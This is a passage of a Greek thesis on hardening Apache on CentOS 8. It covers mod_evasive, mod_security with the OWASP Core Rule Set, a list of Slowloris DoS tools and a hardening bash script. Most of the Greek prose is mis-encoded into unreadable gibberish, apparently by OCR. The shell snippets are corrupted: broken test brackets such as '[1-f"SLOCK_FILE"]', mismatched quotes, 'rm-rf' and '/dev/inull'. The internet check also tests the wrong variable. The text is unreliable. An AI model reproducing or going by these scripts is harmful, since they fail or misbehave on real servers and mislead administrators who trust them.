Avtd mpoxkodiel otov SErver pog v €EAVIANGT TG VLTOAOYIOTIKNG 1OYVOG, TNG

LVIUNG, TO €0POG {MVYNG TOVG SIKTVLOV KoL KOTd GLUVETELR deV avTamokpiveton [10].

2.6.1 Tpomog Aettovpyiog Tov Apache Mod_Evasive
To mod_evasive Apache utility dovievel mopaxorovBmdvtag To. requests mov
gloépyovial  otov  Server. Avtd 1o gpyoAeio emiong PAémer tuydv VoM

dpactnpromto oo po IP dmog:

o TloAhamAd requests ywo tnv 01 cerida o va devTEPOAETTO
e [leprocdtepa amd 50 Tavtdypova requests To devTepOLETTO

e Ta requests mov mpaypatonomOnkay eved pa IP givar mpocwpwvé e podpn

Moo

To module otédver £va 403 error av 0mo10dNToTe 0o T AP OTAvV® cVpfovv. And
npoemhoyn, emiong mepiapPaver 10 devtepdrienta ypdvo avopOVIS GV Howpn
Alota. Av po IP 61e60vven (mov Bpicketot oty podpn AMiota) mpaypoatonomoet Sava
10 request oe avtd 10 Ypovikd mapdbvpo tov 10 devteporémtmv, TOTE O YPOVOC

OVOLLOVIG TNG oEAvETaL.
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To mod_evasive Bonddetl va apvvOei o web server amd avtég tov gidovg tic embéoelc

péca amd v aviyvevon Kot dwyeipton tov diktoov [10].

2.6.2 Eyxatdotaon kot Aopdpeoon tov Apache Mod_Evasive
INa va gykotaothoovpe to Apache mod_evasive module oto Centos tpéyovue v

TOPOKATO EVTOAN Yia va BdAovue to EPEL repository:

sudo yum install epel-release

Metd exteAobpe T0 €ENG Yo va, OAOKANPp®OEL 1] 10 KaGio EYKATAGTOONG

sudo yum install mod_evasive

¥t ovvéxewa Yoo va epapudcovpe to katdAinia configurations oto mod_evasive
module, Bpickovue to configuration file Tov 1o eAéyyet to omoio Ppicketon oto path:
letc/httpd/conf.d/mod_evasive.conf

Apywka Bpickovpe v katoyopnon #DOSEmailNotify you@ yourdomain.com

Kol 0.popoVUE T0 oxOA0 oo unpootd ‘# kon Palovpe 1o dkd pag email (to omoio
eAEYYOLUE TTEPLOOKA) YOl VO LOG OTEAVEL TO EPYOAEID TIC KATUAANAEG E100TOU|GELG.

Emopévog n mapandve kotay®pnon yivetor:

DOSEmailNotify ch.papadopoulos@ssl-unipi.gr

To emopevo Pripa givor vo dnpovpynoovpe eakero yo ta 1ogs tov mod_evasive pe

YPNOT TOV TOP OKAT® EVIOADV

sudo mkdir /var/log/apache/mod_evasive

sudo chown —R apache:apache /var/log/apache/mod_evasive

KOl OQUPEGOVIE TOL GYOANL OTIC TOPUKAT® KaToympnoelg tov mod_evasive config

file éto1 dote va paiveton og €M c:

<IfModule mod_evasive20.c>
DOSHashTableSize 3097
DOSPageCount 2
DOSSiteCount 50
DOSPagelnterval 1
DOSSitelnterval 1
DOSBIlockingPeriod 10
DOSEmailNotify ch.papadopoulos@ssl-unipi.gr
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mailto:you@yourdomain.com

DOSLogDir "/var/log/apache/mod_evasive"
</IfModule>

Omov N Teptypae] TV TAPATAVED TOPUUETPOV OV OAVETAL TOPOKATO :

e DOSHashTableSize: Av&davoope oavty ™V TOPAUETPO YO TOLG 7OLO
nolvovyvactovg Web servers. Avtod to configuration decpevet ydpo vy mv
EKTEAEDT) TOV EVEPYADV AEITOVPYIOV avalntnong. AvEavovtag avtd to peéyefog
Beltidver v Toyd TTO LE TO KOGTOS PLGTIKE TNG UVIUNG.

e DOSPageCount: O apiOuog tov requests yio po pepovouévn ceiido mov
gvepyomotel v pawpn Alota. Avto opiletat og 2, 10 omoio givon YounAd (ko
embeTikd). AvEdvovue ovtn TV TYW Y0 VO, LELOWGOVUE TO WYELOMG-OETIKG
(false-positives).

e DOSSiteCount: O cuvolikdg apOpdc Tv requests yia o idto Site amd v idio
IP 51evBvvon. Amd mpoemhoyn, owtd opiletar oto 50. Mmopovue va to
avénoovpe oto 100 ya va pedoovpe to false-positives.

e DOSPagelnterval: Eivor o apifudg tov devteporémtov  yuwo.  €va
DOSPageCount. Anod mpoemihoyn, avtd opiletor ce 1 devtepodrento. Avtd
onuaivel 6tL av dev to oAAGEovE, av yivouv 2 requests oe pa ceAMdoa péoa oe
1 devteporento, T0Te Tpocswpva N IP dievbuven Oa pret og blacklist.

e DOSSitelnterval: Opowr pe to DOSPagelnterval, avm 1 enthoyn kobopilet
Tov apliud tov devteporéntov mov mapakoiovbei to DOSSiteCount. And
Tpoemhoyn, owTtod opileton oto 1 devtepdiento. Avtd onuaivel 6Tl av o
anAn IP d1evBvvon kavel request oe 50 mopovg tov Site og 1 devtepdrento,
T0TE UMEL TPOCWPWVE GE Lodpn AloTa.

e DOSBIockingPeriod: To mdéco ypdvo pia IP d1ev0vvon pével og pior podpn
Aota. Opileton og 10 devtepdienta and mpoemhoyn. Mmopodpe va BdAovpe
€00 0Tl TN B€Aovpe. XuvioTator vo avEAVOVUE QTN TV TN Y0 VO KP OTALLE
blocked mv cuykexpyévn IP d1e00vvon yio oo peydin xpovikn didpkeLa.

e DOSLogDir: And mpoemhoyr, owtd opiletar oto va yphest logs oto path:
Ivar/log/mod_evasive. Avtd ta logs pmopovv va ghéyyoviol oe de0TEPO YPOVO
v va a&loloyeitar n cupmepipopd ov client.

e DOSSystemCommand: Avtiy n emoyn oto mopondve configuration dev

npooténke koBolov. Av evepyomombel avti] M €MAOYN EMTPENEL GTOV
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PO VO 0picEL (ol EVIOA GLOTAUOTOG M omoia va Tpé€et poag o IP
d1ev0vvon umel oty powpn Alota. MropoOpe vo 10 ¥pNOYLOTOMGOVIE OVTO
MoTe vo eKTeAgitan P evToAn kot va mpocBétel v IP dievbuvvon oe éva

firewall 1 o€ éva IP filter.

Télog omlovpe o mod_evasive configuration file ko Eava poptdvovue o Apache

Service pe ypniom g ToPaKAT® EVIOANG:

sudo systemctl restart httpd.service

2.7 Xpron Mod_Security mg Web Application Firewall

To Mod_security eivar éva IDS avoytod k®OWKO Kol unyovn TpOGANYNG Kot
AeTovpYEL GOV CUUTANPOUATIKO TElY0G TpooTaciag Yoo Tov Web server. Emitpémet
OLOPOPETIKEG AELTOVPYIKOTNTEG OTTWG PIATPAPICLA, amdOKPLYN TOVTOTNTOC SErver Kot
npootacio gvavtio g null-byte emiBeong. Axdpo emitpénel otov dayeplot TOL
web server va mopakolovOel v kuklogopio o€ Tpaypatikd xpovo, evd TopdAinia
KOPel cuvdéaelc vroroyiotdv av o module vroyactei mbavéc brute-force embéoelg
o€ Kmd1kovg TpdcPaocng [1] ko mpootatevel and embioeig dnmwg SQL Injection ko
Cross-site Scripting péypt tovAdyiotov vo emdopdmBodv amd to Tovg developers g
epappoyhc [2].

Moo cvykexpyiéva, yio va tpoototéyel to Mod_security éva yevikod web application,

1o Core Rules ypnowonoiei tic mopaxdrm teyvikés [4]:

e HTTP Ilpoctacio: Evtoniler mapaPiaceg tov HTTP mpwtokdAAov Kot pio
TOTIKG KOBOPIGHLEVT TOMTIKN TPOGTAGTOG

o Avalnmoelg o€ TpayuaTikd ¥povo o pavpn Aloto: ypnoyLonotel 3rd party IP
Reputation

o Web-based aviyvevon kakdfoviov Aoyiopuikov: avayvopiletl kakdfovio web
nepexopevo eléyyovtag to APl g acpoing mhofymong g Google.

e Ilpoctacio HTTP dpvnong mapoyng vanpeciov: dpove evaviiov enBécemv
HTTP Flooding kot Slow HTTP DoS

e [Ipoctacio evivtio kowvedv Web embécewv: eviomiopdc kowng emibeong
AGPAAELNG EPAPLOYDV 1GTOV

e Aviyvevon avtopoticpov: aviyvedel bots, crawlers, scanners kot omoladmoTe

AL KoKOPBOVAN EMPAVEINKT] dPAGTNPIOTNTA
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e Evoopdtwon AV Scanning yio ovefdaopota apygiov: avoyvopilel vmomto
apyeio mpog avéfacpo péow g Web epapproync

e T[lopaxorovOnon evaicOntov dedouévov: mapakorovbel v ypnon TV
TICTOTIKOV KOPTOV Kol UTAOKAPEL dOPPOES

e TIIpootacio and Trojan: aviyvedel mpdcPaocn e SOVPEIOVE IMTOVE

o [lpocdopiopndg erottOUdTOV  EQPOPUOYNG: EWOOTOIEL OE  TMEPMTMOCELG
€0QUALEVOV pLOUicE®V EQUPULOYDV

e Eviomopdg ocpoipdtov Kor andkpuoyn: MucTiKdv unvopdtov c@dApoatog
OV GTEAVOVTOL OO TOV Server

2.7.1 Eyxatdotaon tov Mod_Security

Mrmopovue va eykatactioovpe to Mod_Security oe Centos pe ypfion g mop aKaTw
evtoag [12]:

sudo yum update

sudo yum install epel-release mod_security mod_security crs

Otav  ohoxnpwOel 1m  eykatdotaon, 6Oa Ppoope to configuration apyeio
mod_security.conf oto path: /etc/httpd/conf.d énwc @aiveton otV Tapaxdtom skdva:

[vagrant@centos8vm ~1% 1L /etc/httpd/conf.d
total 28 .
-TW-r--r--. root root 2926 Nov 4 83:21 autoindex.conf

-MW-r--r--. root root 2201 May 14 2019 mod security.conf
-rwW-r--r--. root root 488 Nov 4 03:23 README
-MW-r--r--. rocot root 1252 Nov 4 083:19 userdir.conf
-MwW-r--r--. root root 64 Mov 4 03:19 welcome.conf

Exkova 11. Mod_security configuration file

> ovvéyeln KAavovpe emovekkivnon tov Apache server pe ypnon g mopoakaTo

EVTOANG:

sudo apachectl restart

INa va eléyEovpe av to mod_security eivar evepyomomuévo, apkei va tpEEOVUE TV

evtoAn [12]:

sudo httpd -M | grep security

KoL va Tépov e To OUtPUt 0T PaiveTal GTNV TOPOKAT® EKOVOL:

[vagrant@centos8vm conf]$ sudo httpd -M | grep security
security2 module (shared)

[vagrant@centosgvm confls [J

Fikova 12. 'E Aeyyog ot1To mod_security gival evepyomomnpévo
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2.7.2 Eykatdotaom tov Core Rule Set (CRS) ko diapdpemon tov
Mod_Security

Aoy M gykatdotacn tov Mod_Security £xet ohokAnpwBel kot emPefouwbdei, o

ovvéyelo Oa eykotactoovue 1o Core Rule Set (CRS) 1o omoio givon éva set omod

KOvOVEG IOV TTapEYEL oTov Web Server odnyieg yo 10 mhg 0o cvumeplpépeTon KOT®

and cvyKekpéveg Kotaotdoelg. H etapio mpoypappotiotdv tov mod_security

napéyel Eva dwpeav CRS mov ovopdletan OWASP (Open Web Application Security

Project) ModSecurity CRS ko umopei va katéfet kon va eykataotadei og akolovbmg

[11]:

1.

Koarefalovpe to OWASP CRS o610 mapakdatom directory mov dnpovpyodue y’

aVTO TO OKOTO LE YPNON TOV TTOP OKAT® EVIOADV:

sudo mkdir /etc/httpd/crs-rules

cd /etc/httpd/crs-rules

sudo wget -C https://github.com/SpiderLabs/owasp- modsecurity-
crs/archive/v3.2.0.tar.gz -O master

Kévovpe untar to CRS apyeio ko aALGlovpe T0 OVOLO TOL PAKEALOL LE TIG

TOPOKAT® EVIOLEC:

sudo tar xzf master

sudo mv owasp-modsecurity-crs-3.2.0 owasp- modsecurity-crs

INa va epappdcovps 1o katdAinia configurations yw 1o mod_security

EKTEAOVLE OPYIKA TIG TOPAKAT® EVIOAEG:

cd owasp- modsecurity-crs/

sudo cp crs-setup.conf.example crs-setup.conf

Kot av 6ev yivovtat include von by default 6ha ta .config apyeio tote Y100 VoL
novpe otov Apache server vo ypnolpwomomosl ovtd 1o apyeio pali pe 1o
mod_security module, eicdyovpe oto Apache configuration file mov Bpicketan
oto path: /etc/httpd/conf/httpd.conf to Tapokdtm:

<IfModule security2_module>
Include crs-rules/owasp- modsecurity-crs/crs-setup.conf
Include crs-rules/owasp- modsecurity-crs/rules/*.conf
</IfModule>

Télog, cvvictotal va @Tidyvovpe 10 dwd pag configuration file péca oto

eaxelo fetc/httpd/modsecurity.d omov 0o PdAovpe TG OKEC pog
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npocoppocpuéveg odnyieg avti vo  emefepyalodpacte 1o CRS  apyeio
katevbeiov. Me avtd tov tpoémo pmopovue va kdvovue upgrade tic véeg
ekd06celg Tov CRS ywpic mpofAnua. I'a vo to kdvoovpe awtd ektelobe TG

TOPOKAT® EVIOAEC:

sudo touch /etc/httpd/modsecurity.d/custom-crs.conf

Ko péca 6 oo To apyeio (custom-crs.conf) ypapovpe to TapaKaTo :

<IfModule mod_security2.c>

SecRuleEngine On

SecRequestBodyAccess On

SecResponseBodyAccess On

SecResponseBodyMimeType text/plain text/html text/xml
application/octet-stream

SecDataDir /tmp
</IfModule>

¥ ovvéyeln KAavovpe emovekkivnon tov Apache server pe ypnon g mopokaTo

EVIOAMG:

sudo apachectl restart

2.8 Tlopopoto hoyiopo enibeong Slowloris

Amo t01€ MOV KLKAOEOPNoE To Slowloris, moALL TPOYPAUIATO ELPAVIGTNKAY TOL
HLOVVTOL TNV AETOLPY 0 TOL TOAPEYOVTAS ETTAEOV AEITOVPYIKOTNTA 1] EKTEAOVVTIOL GE

dpopetikd teptPoriovta [15]:

e PylLoris — M protocol-agnostic Python vionoinon mov vroompiler Tor kot
SOCKS proxies.

e Slowloris — Mo Python 3 vAonoinon tov Slowloris mov vrootpiler SOCKS
proxy.

e Goloris — Eivor to Slowloris yia nginx, kot eivar ypappévo oe Go.

e QSlowloris — M exteléoun popen tov Slowloris oyedioaopuévn va tpéxet o
Windows, éyovtag éva Qt yua front end.

e  Mia avovoun PHP ékdoon n omoia pmopet va tpéyet and Evav HTTP server.
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SlowHTTPTest — 'Evac e&opetikd S10pop@dOIOS TPOGOUOIOTAS  APYNC
eniBeong, ypoppuévo oe C++.

SlowlorisChecker — 'Eva Slowloris kot Slow POST POC (Proof of concept).
I'pappévo og Ruby.

Cyphon - Slowloris yio. Mac OS X, ypoapuévo o Objective-C.

sloww — Slowloris viomoinon ypopupévo oe Node.js.

dotloris - Slowloris ypappévo oe .NET Core
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3 Ylomoinon centos8-apache-hardening bash script yia
enmavénon aoceporeioc Apache Web Server oe Centos 8

[pokeywévov va emtevydel n emadénomn acedielng evog Apache Web Server oe
Aertovpywcd Centos 8, viomomOnke oto mhaicio ovtg ™S epyaciog éva bash script
pe Ovopa centos8-apache-hardening.sh to omoio pe avtopotomonuévo TPOTO
avolopBdvel vo. VAOTOMGEL TV TAEIOYNOLO TOV PBEATIOCTOV TPOKTIKOV ETAVENCNG
acpdAelog €vog apache web server kofm¢ emiong kot Tpootooiog EVAVTIOL TNG
Slowloris DDoS enifeong onwg meptypdotnrov mapondve cto Keedhiowo 1 kot 2.
Axopo viomotel emmpocheta u€tpa acpdretog oe eminedo Centos 8 Aeitovpyikov
GLOTNLLOTOG TO, OTTOT0L TEPLYPAPOVTOL OVOAVTIKA GTO TEAOS ATOV TOVL KEPOAAIOV.

H vlomoinong tov centos8-apache-hardening.sh bash script emicuvvimtetar oto

[Hopdpnuao 1.

3.1 Teyvukég mpodiaypaéc tov bash script
To bash script centos8-apache- hardening.sh apywd eAéyyet av eivon ykateoTuévog o
Apache Web Server cto Centos 8 Aettovpyikd kor ov dev gival, TOTE TPOYLATOTOLET

70 1010 EYKOTAGTOON LE XPNON TOV TOPUKATO EVIOADV:

yum install httpd
service httpd start
chkconfig httpd on

KOIL GTI GUVEYELNL, ONILIOVPYEL TNV TOPAKATO OOKILOCTIKY GEAMONL:
Centos 8 Apache Hardening Script

It works!

Opwmg, av o Apache Web server givor 110m eykateomuévog oto Centos 8 Aettovpykd
oVOTNLO, TPOKEIUEVOD Vo e@apudcel emtvymc to apache hardening installations ko
configurations ypedletar vo KAvel KATOOVG EMTPOCOETOVS EAEYYOLS KOl Vo
EKTEAEOTEL LE GLYKEKPWEVO TPOTO amd Tov dtayepioty tov Centos 8 Aettovpykod

OT®OC TTEPLYPAPETAL TOUPOKAT®.
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3.11 Extéleon tov bash script wg root ypromg
O dwyepomc tov Centos 8 Aettovpywcol, mpokeévoy va kaver hardening tov

Apache web server mov givatr 7om mpoeykatestnuévog, Oa npénet va tpé€et o bash

script m¢ root ypHotg Le xpNomn TG TOPUKAT®m EVIOANG:

chmod +x centos8-apache-hardening.sh

sudo ./centos8-apache-hardening.sh

Av 0 duyelp1otg etvar 1101 GLVOESEUEVOS MG OOt XPNGTNG OO TIG TAPATAVE®D EVIOAES
umopei vo mapakeiyel to Aektikd ‘sudo’.
To centos8-apache-hardening script mpokewévov va dwuc@aricel 0Tt gite exteleiton

pe sudo eite extedeitot amd Tov root USer, p ayLoTono1El TOV TAPAKAT® EAEYYO:

if [$EUID -ne 0 ]; then
log_error "This script must be run with root privileges."
_exit

fi

Omov EUID &ivar o apiBuodg “effective™ user 1D, dnradn o avayvoplotikog apldudg
OTOL0CONTTOTE TOVTOTNTOG £XEL AGPEL 0 TpEYOV YpNoS Kot avtd 0 1D pémet va etvon

UNoEV Y1 vaL oMLoTodotel OTL TPEYEL TO SCript o root ypMotng.

3.1.2 Amopuyn molamAdv ektedécemv Tov bash script

Enedn to centos8-apache-hardening bash script tpéyet o6to tepuatikd tov ypHotn o€
éva thread ko epapuoler to apache hardening installations kot configurations, ov
Eavd exteleotel katd MAOOC oe VEO TEPUATIKO EVA T EKTELEST] TOL TP®TOL INstance
dev €xel ohokAnpwBei, avtd Ba dnpovpynoet TpoPanuo oto configuration files ko
mBavdg va odnynoetl tov apache web server oe kotdppevon Adyw misconfigurations.
o vo armogevybei 10 mopomdve cevaplo, 1 extéleon tov bash script yia 6co
doTnuo avTo TPEYEL Elval LOVadIKT Kot dev emttpémetar vo. Eava tpé€et To id1o script
oe GALho bash instance. Avtd emrvyydaveton pe ypnion lok files émwg avrtictoya
YPNOOTOOVV ToL AEITOVPYIKA cvoTthuarte. semaphores yio va eéac@aiicovv tov
apo1Baio amokAEIGUO LG TEPLOYNG TG LVNUNG oo o Stepyacio Katd Tnv dtdpkela
EKTEAEOTG TNG.

Yuykekpluévo, otav  tpé€el Yoo mTpdTn @opa to bash script centos8-apache-

hardening.sh, dnuwovpyei éva apyeio centos8-apache-hardening.lok oto tpéyov
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directory mov 1o extelel 0 YPNOT™G. AVTO EMTLYYAVETOL LLE ¥PNOT TNG TOP AKAT®

GLVAPTNONG:

SCRIPT_NAME='"centos8-apache-hardening
PWD=$(pwd)
LOCK_FILE=${PWD}"/${SCRIPT_NAME}.lok"
function acquire_lock()
{
echo ">>> Is going to check for lock file: $LOCK_FILE"
if [1-f"SLOCK_FILE"]; then
log_info "[acquire_lock] Lock file not found™
touch $LOCK_FILE
else # otherwise the hardening script is being executed
log_error "Found lock file: ${LOCK_FILE} which means the script
${SCRIPT_NAME} is is being executed!"
log_error "If not, please remove the lock file ${LOCK_FILE}"
exit 1
fi
}

Av mpoomabnoet va Eova extelécel o ypiotng to 010 bash script oe devtepo bash
instance, tote n mopandveo cuviptnon Oa eAéyEet OTL vVhpPyEL O TO apyeio centoss-
apache-hardening.lok kot 0o epeavicer 10 TOPOKATO HAVOLO GEAALOTOS KOL GTN

ovvéyela Ba teppaniotei  ektédeon Tov Script:

[ERROR] Found lock file: centos8-apache-hardening.lok which means the script
centos8-apache-hardening is is being executed!

[ERROR] If not, please remove the lock file centos8-apache- hardening.lok

Mohg olokAnpwbei 1 extédeon tov bash script kot éxovv olokAnpwOei 6lo Ta.

hardening installations kot configurations, to napoandve lok opyeio dwypdoeeton pe

YPNOM TNG TAPAKAT® GLVAPTNONG:

function release_lock ()

{
if [ -f"SLOCK_FILE"]; then
rm-rf $LOCK_FILE
else
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log_info "[release_lock] Lock file not found™
fi

3.13 Stateful exktéheon bash script

To centos8-apache-hardening.sh script kot v dwbpkewr ™G ektélecng Tov,
anobnkevel e molo Prua Ppioketon kabe Popd oe apyeio Step.dat. Avtd ypnoedet
o€ MePITTOOT oL GVUPEL OTO00NTOTE GOAALLO CUCTAUOTOC KATA TNV OIIPKELN TNG
EKTELEOMG TOL SCript Kot TPOKOAEGEL TOV TPO®PO TEPUOTIGUO TOV. XE OVTHV TNV
TEPIMTOON LOAS YivEL 1] KATOAANAN 010pO®GT TOV AETOLPYIKOV OO TOV SLUYEPIOTH
TOL cvoTHUOTOG Kot Eova ektedectel To bash script, Oa Eexitvnoel 1| ektéleot| Tov omod
10 Pue mov oTopdTNoE TPOoNyYoLUEVEG Kot Bo cvveyicel va ektedeiton péypt va
oAoxAnpwOei to hardening tov apache web server.

To mapamdve vAomolEital pe YPNON TOV TAPAKATO GCLVOPTACEMYV TOL givar
vevBuveg Yo v amobfkevon, avénon Kol avAKTNon Tov TPEXOVTOS PLATOg TG

extédleong tov bash script amod to apyeio step.dat:

FILE=${PWD}/step.dat'

function save_step() {

currentStep=$1

[ -z "$currentStep™ ]] && { log_error "First parameter (currentStep) is empty
in function save_step"; _exit; }

# show it to the user

# echo "step: ${currentStep}"

# and save it for next time
echo "${currentStep}" > $FILE
}

function increase_step()
{
currentStep=$1
[ -z "$currentStep" ]] && { log_error "First parameter (currentStep) is empty

in function increase_step™; _exit; }
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# increment the step

step=$((currentStep + 1))

}
function retrieve_step()
{
# if we don't have a file, start at zero
if [1-f"$FILE" ]; then
step=0
# log_info "Step file not found"
# otherwise read the step from the file
else
step="cat $FILE
log_info "Found step: ${step}"
fi
}

3.14 Avvatomta ektéheong Script kou oe dev mode
To centos8-apache-hardening bash script vmootnpiler mv extéreon tov oe dev mode.
AvTto onuaivel 6TL oV TEpimTmon wov HoN £xovv yivel apply ta apache hardening
installations xou configurations, vrépyet n dvvotdtnTa va extedectel Eava to Script
Yopic vo «okdoem 1 va dnuiovpynoet mpoPfAnua otov apache web server, apkei o
dwepomg tov Centos 8 cvotjuatog va £xel opicel v petafint) DEV=1 otnv
apyn Tov bash script. Av givat evepyomomuévn avtf n petaPAnt, 10te 6TV apyn TNG
eKTéLEONG TOL SCript €poppolel Tic KATOAANAES OoypopEG KOl LETOVOUAGIES TMV
configuration files mov ypedlovror mpokewévoyr va tpé€et Eavd to SCript pe

AGPAAELD. ZUVOTTTIKA O KOOIKAG TOV €QPapUOLeL anTég TIg oAAayEC eivan 0 €€NG:

if [ $DEV -eq 1 ]; then# make clean up
rm-rf $FILE
rm -rf /tmp/centos8-apache- hardening. lok
rm -rf /etc/httpd/crs-rules
rm-rf $CUSTOM_CRS_CONF
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cp $HTTPD_CONF.bak $HTTPD_CONF 2> /dev/inull 1>&2 && rm -rf
$HTTPD_CONF.bak

cp $BASE_MODULES.bak $BASE_MODULES 2> /dev/null 1>&2 && rm -
rf$BASE_MODULES.bak

cp $MOD_EVASIVE_CONF.bak $MOD_EVASIVE CONF 2> /dev/null
1>&2 && rm-rf$MOD_EVASIVE_CONF.bak

cp $MOD_SECURITY_CONF.bak $MOD_SECURITY_CONF 2> /dev/null
1>&2 && rm-rf$MOD_SECURITY_CONF.bak

fi

3.15 Extédeon paluon update tov Apache Web Server
To centos8-apache-hardening bash script Tpw and v évapén tov apache hardening
process, extelel palcd update otov apache server mpoxeipévov vo KatéBovv Kat va
gykataotafodv OAo To TEAELTAIO EVNUEPOUEVO TOKETOL TO. OTMOl0L TEPEYOLV TA
tehevtaio fixes kot patches. H evtoAr pe mv omoio mpoypatomoeitor to update

process givou 1 €ENg:

yum update -y

Noa onueiwcovpe 3o 6t dev Palovpe SUdO UTPOGTE STV TAPATAVE® EVIOAN Y1OTi TO
centos8-apache-hardening bash script tpéyet 16 oe sudo context.
Mohig olokAnpwbei o update tov Centos 8 cvotiuatog cuveyiletor Kovovikd M

extéleon tov hardening process énmc meprypdpetar oto kKe@dAaia 1 kot 2.

3.1.6 KoaBapiopodg aypeiactov nakétov
Metd ™V OAOKANP®OT NG EYKOTACTOONG TOV KOTOAANA®V TOKETOV KOl TNG
EQAPUOYNG TOV KOTGAANA®V security hardening configurations, mpoypoatomoleiton
€vag €AEYXOG Y. TLUYOV OMEYKOTAGTACTG O)PEIOCTOV TOKETOV HE YPNON TNG

TOPOKAT® EVIOANG:

yum autoremove -y

Oupow dev Balovue sudo umpootd oTNV TOPUTAV® EVIOAN YTl To SCrpt Tpéyet Hom

o¢ sudo context.
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Av vtapyovv S100£01U0 TAKETO TPOS OPOAIPEST), d1OYPAPOVTOL ETTUYDG Kot 0dEGCEL

TopOAANA YD pog amd To dicko tov Centos 8 Asttovpyikov.

3.1.7 "EAeyyog yio emavekkivnon 6to TEAOG TG EKTEAEGTS TOV SCript
To bash script centos8-apache-hardening xaté v d1Gpkelo ™G EKTELEGNG TOV Ka
npwv Eexvnoet vo, epapuolet ta security hardening configurations, kavet eykoatdotoon
apkeTd Takéto wov avofadpifovv t6c0 10 1010 T0 Centos 8 Aertovpyikd 6Go Kot Tov
00 tov apache web server. MOAIG TEAEIDMGEL 1| TOPUTAVED O10IKOGIN, GTO TEAOG
TPOYLOTOTOELTONL EAEYYOG GE TEPIMTM®ON OV YPEWLETAL VO YIVEL ETOVEKKIVIGT TOV
Centos 8 Aettovpywol eEoutiog TG €YKATACTOONG TOV TOPOTAVE TokETOv. O

€LeYYOG OVTOC TPOYLLOTOTOLELTAL [LE YPTION TNG TOPUKAT® GLVAPTNONG:

function check_for_restart()
{
restart="needs-restarting -r >/dev/null && echo $?°
if [ ${restart} -ne 0 ]]; then
log_info "Reboot $HOSTNAME to install kernel or core libs.™
else
LAST_KERNEL=$(rpm -q --last kernel | perl -pe ‘s/kernel-
(\S+).*/$1/' | head -1)
CURRENT_KERNEL=$(uname -r)

if [ ${LAST_KERNEL} -ne ${CURRENT_KERNEL} ]]; then
log_info "Reboot SBHOSTNAME to install kernel or core libs."
else
log_info "No restart needed!"
fi
fi
¥

Av ypelootel va yivel emavekkivnon, 101 Oo epeavicgt to SCript 1o mop aKkdTm

EVNUEPOTIKO VUL GTOV SOXELPLOTI TOV GVGTNILATOG :

[info] Reboot SBHOSTN AME to install kernel or core libs.

AMadg, Ba gueaviCet to pnvopa 6t dgv ypewaletar v mpaypoaroromBel m

EMOVEKKIVION KO OTL umopel va cuveyioet va eivon Up and running o web server.
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3.1.8 Epeavion ypdvov ektédeong tov SCript
Mo vo €€l 0 O1OEPIO TG TOV GLGTHOTOS 0L EIKOVA Y10l TO YXPOVIKO O1GGTNLLO TTOV
umopei vo dapkéoel to Security hardening process, to bash script centos8-apache-
hardening epeaviel 610 TEAOC ™G EKTEAEGTS TOVL TO YPOVO TOL EKAVE UEYPL VO

oAoKANP®OEL. AvTd LAOTOLEITOL [LE YPTOT TOV TUPAKAT® :

START=$(date +%s)

H nopoandve evtodrn extedeiton katevBeiov pe 10 mov EEKVIIGEL O OOYEPIOTNG TOV
Centos 8 ocvotiuotog vo ektehel 1o centos8-apache-hardening bash script ko
anoBnkevel oty petoPfint START v tpéyovoa tyn tov timestamp. Xt cuvéysia
TO SCript extelei OAeC TIG OmMOPOAITNTEG EVEPYEIEC TPOKEWEVOD VO, OLOKANPMOOEL TO
security hardening process kat Aiyo mpwv ohokAnpmBei to SCript kou emioTpéyetl o

ELeyyog Tov Teppatikod oto bash, extelobvon o1 mop akdT® EVIOAES:

END=$(date +%s)

DIFF=$(( $END - $START))

secs=$DIFF

echo -n "The execution time is: "

printf '%dh:%dm:%ds\n" $(($secs/3600)) $(($secs%3600/60)) $(($secs%60))

Ymv petofAnty END amobnkevetar Eava n tpéxovoo Ty tov timestamp m omoio
etvar peyodvtepn omod ™y petoPfAnty START agol exteléotnke pETOYEVESTEPO,
onrodn petd v ohokAnpwon tov Security hardening process. YmoAoyiletotr ot
OLVEYELDL M O0POPA KOl GTO TEAOG EKTUITAOVETOL GTOV YPNOTN O GLVOAKOS YPOVOG
eKTELEGMG TOL SCript.

O ypovog ektédeong Tov SCript dapépel avarloya TNV VIOAOYIGTIKN 1YY ™G KGO
unyxovns. o mopdderypa oe €va vagrant centos 8 VM pe 2GB pvqun RAM «on 2
processors ypetdleton yioo vo. ohokAnpwbei to centos8-apache-hardening bash script

nepimov 5:30 Aemtd.

3.2 'EAeyy0 TPOOTOITOVUEVOV TPV TNV EKTEAEOT

[Mopokdtm mepypa@oviar oplopévol EAeyyol mov mpayuotomolei to bash script
centos8-apache-hardening mpoxepévov va pmopei vo kaver apply ta security

hardening configurations.
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331 2Hvdeon oto Internet

Amopaitnro cvotatikd g Security hardening dwodikocioc eivor m obvdeon Tov
Centos 8 mepidArovtog pe 1o Internet. O Adyog mov ypelaldpacte to Internet sivon
v va kotePaoet to Script Oda ta amapaitnta Tokéta TpokeuEvon va kavel update to
010 T0 Agrtovpykd aAld Kot Tov apache web server, va katefdcovpe to amapaitTo
modules kot hardening rules amd to Internet kou vo to KGvovue £yKOTAGTOOT GTOV
apache web server mpokewévov va Bwpaxicovue tov Server amd embéoelg THMOV
Slowloris.

O éleyyog mov KaGvel o SCript yuo. vo S10meTOoeL av 10 TEPPALAOV OV TPEYXEL £XEL

npocPaom oto Internet eivon o e&ng:

# test an internet connection

curl 1.1.1.1 2> /dev/null 1>&2

if [${UID} -ne 0 ]; then
log_error "No internet connection found!"
_exit

fi

Av 10 Tapandave curl dev emoTpéyel enttuymg, TOTE onuaivel 6t dev Exel TpoOSPaom
1o Centos 8 mepiPdirov oto Internet kou £tol otapatder n exktédeon tov SCript oe

eKelvo TOV EAEYY0 Y®PIG Vo TpoympNoel ota Security hardening frjuota.

3.3.2 "Exdoon Centos 8
H £éxdoon tov Agrrovpykold cvotiuatog, onAadn vo eivor Centos 8, eivar moAvy
OoNUaVTIKOG Topbyovtog mpokewévoy to Centos8-apache-hardening bash script vo
ovveyioel va epopuolel ta security apache hardening configuration tov. O Adyog
glvon 611 o1 eviorég kabm¢ emiong kou to installation directories omd éxdoon oe
¢kdoom Aertovpykov oAAG kot amd Stovoun o dwvoun dtapépovv. Emopévog av
ooV centos8-apache-hardening bash script Eexivioetl va tpéyel yio. map AdEypa o€
Ubuntu linux Aertovpycd, emeldn ekel o1 €VIOAEG €YKATAGTAGN TOV Security
hardening modules xafd¢ emiong kou ta installation paths eivot dwapopeticd, to script
Katd ™V Odpkelo TG ekTEAESNS TOL o «oKaye» UE OMOTEAEGUO. VO UMV
ohokANpmBel cwotd n apache security hardening dwdwooio. Eropévaoc o éheyyog yia
